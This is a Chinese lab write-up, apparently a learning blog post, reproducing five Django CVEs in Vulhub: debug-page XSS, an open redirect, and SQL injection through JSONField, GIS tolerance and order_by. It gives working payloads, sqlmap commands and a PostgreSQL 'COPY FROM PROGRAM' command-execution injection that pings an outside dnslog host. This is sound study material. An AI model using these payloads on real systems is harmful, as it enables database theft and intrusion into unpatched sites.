Vulhub 漏洞学习之:Django
Vulhub 漏洞学习之:Django
1 Django debug page XSS漏洞(CVE-2017-12794)
Django发布了新版本1.11.5,修复了500页面中可能存在的一个XSS漏洞。
- 用户注册页面,未检查用户名
- 注册一个用户名为
<script>alert(1)</script>的用户 - 再次注册一个用户名为
<script>alert(1)</script>的用户 - 触发duplicate key异常,导致XSS漏洞
影响范围:
Django1.11.15之前的1.11.x版本
1.1 漏洞利用过程
访问
http://your-ip:8000/create_user/?username=<script>alert(1)</script>创建一个用户,成功;
再次访问
http://your-ip:8000/create_user/?username=<script>alert(1)</script>,触发异常:
Postgres抛出的异常被拼接进
The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception,最后触发XSS。duplicate key value violates unique constraint "xss_user_username_key"
DETAIL: Key (username)=(<script>alert(1)</script>) already exists.
2 Django < 2.0.8 任意URL跳转漏洞(CVE-2018-14574)
Django默认配置下,如果匹配上的URL路由中最后一位是/,而用户访问的时候没加/,Django默认会跳转到带/的请求中。(由配置项中的django.middleware.common.CommonMiddleware、APPEND_SLASH来决定)。
在path开头为//example.com的情况下,Django没做处理,导致浏览器认为目的地址是绝对路径,最终造成任意URL跳转漏洞。
该漏洞利用条件是目标URLCONF中存在能匹配上//example.com的规则。
影响范围:
Django1.11.15之前的1.11.x版本
Django2.0.8之前的Django2.0.x版本。
2.1 漏洞利用过程
环境启动后,访问
http://your-ip:8000即可查看网站首页。访问
http://your-ip:8000//www.example.com,即可返回是301跳转到//www.example.com/:
3 Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)
Django在2019年8月1日发布了一个安全更新,修复了在JSONField、HStoreField两个模型字段中存在的SQL注入漏洞。
参考链接:
- https://www.djangoproject.com/weblog/2019/aug/01/security-releases/
- https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html
该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。Django自带的后台应用Django-Admin中就存在这样的写法,我们可以直接借助它来复现漏洞。
影响范围:
Django (1.11.x) Version < 1.11.23
Django (2.1.x) Version < 2.1.11
Django (2.2.x) Version < 2.2.4 作者:zhzyker https://www.bilibili.com/read/cv4579255/ 出处:bilibili
3.1 漏洞利用过程
首先登陆后台
http://your-ip:8000/admin/,用户名密码为admin、a123123123。登陆后台后,进入模型
Collection的管理页面http://your-ip:8000/admin/vuln/collection/:然后在GET参数中构造
detail__'123提交,其中detail是模型Collection中的JSONField:http://192.168.210.13:8000/admin/vuln/collection/?detail__%27123
单引号已注入成功,SQL语句报错:

使用 Sqlmap 枚举数据库
sqlmap -r "post.txt" --dbms=postgresql --batch --level=5 --dbs # post.txt
GET /admin/vuln/collection/?detail__* HTTP/1.1
Host: 192.168.210.13:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; IkT_sid=F200j0; IkT_visitedfid=2; Oek8_2132_saltkey=aKN5TCzQ; Oek8_2132_lastvisit=1642753250; Oek8_2132_ulastactivity=7c78015gAzgUhYx8Y4X7%2B%2FnyKuy1qm4chQpov2yIDC0MSju5YSLC; Oek8_2132_nofavfid=1; Oek8_2132_home_readfeed=1642757408; Oek8_2132_lastcheckfeed=2%7C1642757965; A3bB_2132_saltkey=nv2n2105; A3bB_2132_lastvisit=1642756702; A3bB_2132_ulastactivity=22c6t2t9S2N%2FpQagilNZI0bn%2FoDOUFZ90Bl0uHoyJmzIuaLqgmlK; A3bB_2132_nofavfid=1; A3bB_2132_lastcheckfeed=2%7C1642760420; csrftoken=aSm6HMGLeiaGH9TceWw0HypHtz6T8ALorwm0TjrHI2UN0GZk4z2uSUGTnU6yJGGI; sessionid=vy0qg4zfhtb2ilphmo3gb5w17xpckv3f
Upgrade-Insecure-Requests: 1
也可以执行命令
构造shell,创建cmd_exec
http://ip:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20

执行命令
http://ip:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%201orth7.dnslog.cn%27--%20

4 Django GIS SQL注入漏洞(CVE-2020-9402)
Django在2020年3月4日发布了一个安全更新,修复了在GIS 查询功能中存在的SQL注入漏洞。
参考链接:
- https://www.djangoproject.com/weblog/2020/mar/04/security-releases/
- Django CVE-2020-9402 Geo SQL注入分析 - 先知社区 (aliyun.com)
该漏洞需要开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句。
影响范围:
Django 1.11.29之前的1.11.x版本
2.2.11之前的2.2.x版本
3.0.4之前的3.0.x版本
4.1 漏洞利用过程
- 环境启动后,访问
http://your-ip:8000即可看到Django默认首页。
4.1.1 漏洞一
首先访问
http://your-ip:8000/vuln/。在该网页中使用get方法构造q的参数,构造SQL注入的字符串20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1http://your-ip:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1
SQL语句查询报错:

使用 Sqlmap 枚举数据库
sqlmap -u "http://192.168.210.13:8000/vuln/?q=*" --batch --dbms=oracle --dbs

4.1.2 漏洞二
访问
http://your-ip:8000/vuln2/。 在该网页中使用get方法构造q的参数,构造出SQL注入的字符串0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --http://your-ip:8000/vuln2/?q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20--
SQL语句查询报错:

使用 Sqlmap 枚举数据库
sqlmap -u "http://192.168.210.13:8000/vuln2/?q=*" --batch --dbms=oracle --dbs

5 Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042)
Django 3.2.4 在2021年7月1日发布了一个安全更新,修复了在QuerySet底下的order_by函数中存在的SQL注入漏洞
参考链接:
该漏洞需要用户可控order_by传入的值,在预期列的位置注入SQL语句。
影响范围:
Django 1.11.29之前的1.11
5.1 漏洞利用过程
环境启动后,访问
http://your-ip:8000即可看到Django默认首页。访问页面
http://your-ip:8000/vuln/,在GET参数中构造order=-id,会得到根据id降序排列的结果:http://your-ip:8000/vuln/?order=-id

再构造GET参数
order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23提交,其中vuln_collection是vuln应用下的模型Collectionhttp://your-ip:8000/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
成功注入SQL语句,利用堆叠注入获得信息:

sqlmap
sqlmap -u "http://192.168.210.13:8000/vuln/?order=vuln_collection.name*" --dbms=mysql --batch --dbs

Vulhub 漏洞学习之:Django的更多相关文章
- vulhub漏洞环境
0x00 vulhub介绍 Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更 ...
- FastJson远程命令执行漏洞学习笔记
FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...
- python学习笔记--Django入门四 管理站点--二
接上一节 python学习笔记--Django入门四 管理站点 设置字段可选 编辑Book模块在email字段上加上blank=True,指定email字段为可选,代码如下: class Autho ...
- Django学习之django自带的contentType表 GenericRelation GenericForeignKey
Django学习之django自带的contentType表 通过django的contentType表来搞定一个表里面有多个外键的简单处理: 摘自:https://blog.csdn.net/a ...
- XSS漏洞学习笔记
XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...
- day 94 Django学习之django自带的contentType表
Django学习之django自带的contentType表 通过django的contentType表来搞定一个表里面有多个外键的简单处理: 摘自:https://blog.csdn.net/a ...
- 学习了django对于sqlite3进行了了解,谈谈看法
学习了django对于sqlite3进行了了解,谈谈看法 由于django默认使用的是sqlite3,写了几个建表语句, 然后数据做下迁移,其实就是建表语句的执行. 一直对sqlite3没有一个直观的 ...
- day 93 Django学习之django自带的contentType表
Django学习之django自带的contentType表 通过django的contentType表来搞定一个表里面有多个外键的简单处理: 摘自:https://blog.csdn.net/a ...
- Typecho-反序列化漏洞学习
目录 Typecho-反序列化漏洞学习 0x00 前言 0x01 分析过程 0x02 调试 0x03 总结 0xFF 参考 Typecho-反序列化漏洞学习 0x00 前言 补丁: https://g ...
- Django学习之django自带的contentType表
Django学习之django自带的contentType表 通过django的contentType表来搞定一个表里面有多个外键的简单处理: 摘自:https://blog.csdn.net/aar ...
随机推荐
- 【大数据课程】高途课程实践-Day03:Scala实现商品实时销售统计
〇.概述 1.实现内容 使用Scala编写代码,通过Flink的Source.Sink以及时间语义实现实时销量展示 2.过程 (1)导包并下载依赖 (2)创建数据源数据表并写⼊数据 (3)在Mysql ...
- 【算法题型总结】--6、BFS
// 计算从起点 start 到终点 target 的最近距离 int BFS(Node start, Node target) { Queue<Node> q; // 核心数据结构 Se ...
- python前言
目录 一.typora软件以及markdown语法介绍 1.输入标题的两种方法 2.无序列表 3.有序列表 4.在typora里插入多行代码块 5.制作表格 6.表情包 7.链接 8.Typora查看 ...
- Django聚合函数与分组查询
目录 一:聚合查询 1.聚合函数作用 2.聚合函数查询关键字: 3.聚合函数 4.聚合函数使用 二:分组查询 1.分组查询 2.返回值 3.分组查询关键字 4.分组查询特点 5总结: 三:分组使用 1 ...
- Jmeter 之提取多个值并引用
一.数值的提取 1.使用Json提取器随机提取返回结果中某几个值 2.使用Json提取器指定提取返回结果中的某几个值,如下,指定提取records中第一条数据中的flowType.id值 3.使用正则 ...
- 时间老去,Ruby不死,Ruby语言基础入门教程之Ruby3全平台开发环境搭建EP00
如果说电子游戏是第九艺术,那么,编程技术则配得上第十艺术的雅称.艺术发展的普遍规律就是要给与人们对于艺术作品的更高层感受,而Matz的Ruby语言则正是这样一件艺术品. 无论是语法还是理念,都让Rub ...
- HNCTF的pyjail做题过程详解
简述: 因为本人对python的内置函数理解也不是深入,在做题过程中也是靠着出题人的hint和google大法才做出来几题,详细的解题过程和知识点讲解可以看一下春哥的知乎,[PyJail] pytho ...
- Django(2) - Django模板
1.Django模板介绍 基础概念 模板是具有一定的格式或骨架,可以动态的生成HTML 模板引擎决定以何种方式组织代码 一个项目可以有一个或者是多个模板引擎,Django里面主要两个模板引擎:DTL. ...
- 巧用视觉障眼法,还原 3D 文字特效
最近群里有这样一个有意思的问题,大家在讨论,使用 CSS 3D 能否实现如下所示的效果: 这里的核心难点在于,如何利用 CSS 实现一个立体的数字?CSS 能做到吗? 不是特别好实现,但是,如果仅仅只 ...
- [深度学习] tf.keras入门1-基本函数介绍
目录 构建一个简单的模型 序贯(Sequential)模型 网络层的构造 模型训练和参数评价 模型训练 模型的训练 tf.data的数据集 模型评估和预测 基本模型的建立 网络层模型 模型子类函数构建 ...